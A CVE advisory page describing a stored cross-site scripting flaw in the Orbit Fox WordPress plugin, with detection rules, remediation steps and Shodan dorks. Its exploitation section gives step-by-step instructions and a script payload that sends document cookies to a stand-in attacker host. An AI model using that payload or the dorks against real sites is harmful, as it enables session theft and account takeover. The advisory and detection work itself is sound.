☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themeisle logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-12045

CVE-2025-12045 Cross-Site Scripting in Themeisle
📅 PUBLISHED: 2025-11-04 11:19 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
1.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Romania License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-12045 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Orbit Fox: Duplicate Page, Menu Icons, SVG Support, Cookie Notice, Custom Fonts & More WordPress plugin, developed by Themeisle. The flaw exists in all versions up to and including 3.0.2. It allows authenticated attackers with Author-level access or higher to inject arbitrary web scripts via the category and tag name parameters. This occurs due to insufficient input sanitization and output escaping. When a user (including administrators) accesses a page containing the injected script, the payload executes in their browser, potentially leading to session hijacking, defacement, or further compromise.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the risk remains significant for sites with untrusted authors.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Author-level)
  • User Interaction: None
  • Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for an Author to inject persistent scripts that execute in the context of any user (including admins) elevates the risk for WordPress sites with multiple authors or untrusted contributors.

Deep Dive & Mechanics

The vulnerability resides in how the Orbit Fox plugin handles category and tag names when displaying them on the frontend. The plugin fails to properly sanitize user input (via sanitize_text_field or similar) and does not escape output before rendering it in the browser.

Attack Flow:

  1. An attacker with Author-level privileges creates or edits a post.
  2. The attacker assigns a crafted category or tag name containing malicious JavaScript (e.g., <script>alert('XSS')</script>).
  3. The plugin stores this malicious name in the WordPress database.
  4. When any user (including administrators) views a page that lists or displays this category/tag, the plugin outputs the unsanitized name.
  5. The browser executes the injected script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses esc_html() or similar escaping functions inconsistently, or fails to apply them to the name parameter of categories and tags. The input is not validated to strip out HTML or JavaScript.

Vulnerable vs. Patched Code

Since no official patch is available, the following illustrates the vulnerable pattern and a secure alternative.

Vulnerable Code (example from plugin):

// In a template or shortcode handler
echo $category->name; // Direct output without escaping

Patched Code (recommended):

// Secure output with escaping
echo esc_html( $category->name );

The patched version would use esc_html() or wp_kses_post() to strip or encode malicious characters. Additionally, input validation should be applied when saving categories/tags:

// When saving
$name = sanitize_text_field( $_POST['name'] );
wp_insert_term( $name, 'category' );

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with Orbit Fox plugin <= 3.0.2
  • Author-level account credentials

Steps:

  1. Log in as an Author.
  2. Create a new post or edit an existing one.
  3. In the "Categories" or "Tags" metabox, add a new category with the name:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Publish the post.
  5. Craft a link to the post and send it to a target (e.g., admin). When the admin views the post, the script executes.

Proof of Concept (PoC) - No public exploit available.

Blue Team (Detection & Prevention)

Detection:

  • Monitor for suspicious category/tag names containing <script>, onerror, onload, or other event handlers.
  • Review WordPress logs for unusual author activity (e.g., rapid creation of categories/tags).
  • Use a Web Application Firewall (WAF) to block XSS payloads in POST data.

Prevention:

  • Disable the Orbit Fox plugin until a patch is released.
  • Restrict Author-level permissions: do not allow Authors to create categories/tags (use Contributor or Subscriber roles instead).
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/orbit-fox/ (entire plugin directory)
  • Database entries: wp_terms table with name containing <script> tags or event handlers.
  • HTTP requests: POST requests to /wp-admin/admin-ajax.php or /wp-admin/post.php with name parameter containing XSS payloads.
  • Logs: WordPress debug log entries showing wp_insert_term with suspicious names.

Detection Engineering

YARA Rule

rule CVE_2025_12045_Orbit_Fox_XSS {
    meta:
        description = "Detects stored XSS payloads in Orbit Fox plugin category/tag names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12045"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['\"].*['\"]/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Orbit Fox Plugin Category/Tag Names
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of categories/tags with XSS payloads in WordPress
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Custom event for term creation
        TermName|contains:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in category names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12045 Orbit Fox Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"name="; nocase; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patched version is released.
  2. Review and clean any existing categories/tags for malicious content.
  3. Change all passwords for Author-level accounts if compromise is suspected.

Long-term Fix:

  • Apply the official patch from Themeisle when available.
  • Implement input validation and output escaping in custom code.
  • Use a WordPress security plugin (e.g., Wordfence) to block XSS attempts.

Workaround:

  • Restrict Author permissions to prevent creation of categories/tags.
  • Use a reverse proxy or WAF to filter XSS payloads.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Orbit Fox"
http.html:"orbit-fox"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-12045/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.